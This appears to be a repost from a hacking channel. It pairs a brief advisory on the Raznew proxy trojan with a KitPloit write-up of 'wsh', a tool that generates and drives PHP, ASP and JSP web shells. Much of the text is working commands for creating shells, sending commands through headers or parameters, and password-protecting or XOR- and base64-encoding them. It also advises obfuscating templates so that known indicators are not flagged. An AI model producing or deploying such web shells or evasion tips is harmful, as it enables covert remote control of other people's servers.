Threat: Trojan-Proxy.Win32.Raznew.gen
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.

Wsh - Web Shell Generator And Command Line Interface
http://www.kitploit.com/2021/08/wsh-web-shell-generator-and-command.html

___________________________
@hacking_Attack
@Hacking_Video

wsh (pronounced woosh) is a web shell generator (https://www.kitploit.com/search/label/Generator) and command line (https://www.kitploit.com/search/label/Command%20Line) interface. This started off as just an http client since interacting with webshells is a pain. There's a form, to send a command you have to type in an input box and press a button. I wanted something that fits into my workflow better and ran in the terminal. Thus wsh was born. The client features command history, logging, and can be configured to interact with a previously deployed standard webshell with a form/button. The generator creates webshells in php, asp, and jsp. They are generated with random variables, so each will have a unique hash. They can be configured with a whitelist, passwords, and allow commands to be sent over custom headers and parameters. The generator and client can be configured through command line flags or configuration files to allow for saving a setup that works for you without doing what I call the "--help" dance. Once configured, the client and generator use the same config file.
Features
Interact with deployed web shells via the command line Logging Generate webshells in PHP, JSP, and ASP IP whitelisting Password protection Send commands over custom headers/parameters File upload / download Base64 encoded shells for asp and php XOR encrypted shells for asp and php

-t, --template string Webshell template file
-h, --help help for generate

Client usage / File IO
I wanted the client to be language agnostic, so all webshells needed to implement the same upload/download logic. Unfortunately it is a pain to do multipart form uploads natively in jsp and classic asp, so files are uploaded as base64 in a parameter. This is not ideal as the max file upload size is limited to the maximum parameter size. In the future I may try and implement multipart form uploads, or do multiple requests to transfer larger files. help get [local filepath] Download file put [remote filepath] Upload file clear Clear screen exit Exits shell ">$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get [local filepath] Download file
put [remote filepath] Upload file
clear Clear screen
exit Exits shell

Generator Examples

Simple Shells
The following commands generates and interacts with a simple php web shell. $ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --param cmd
"> Commands can also be sent over http headers $ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --header user-agent

Whitelisting
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

Password Protection
Passwords can be sent over parameters or headers. $ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

Base64 / XOR encryption
This functionality is interesting, but may require some modification (https://www.kitploit.com/search/label/Modification) of the templates to be made useful. In the case of asp and jsp, the libraries that facilitate decoding base64 are known IOCs and will get flagged. If you are interested in using these functionalities I'd recommend modifying the template and obfuscating. Same as password protection, the xor key can be sent over a parameter or a header. $ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key $ wsh g php --param cmd --no-file --base64


$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
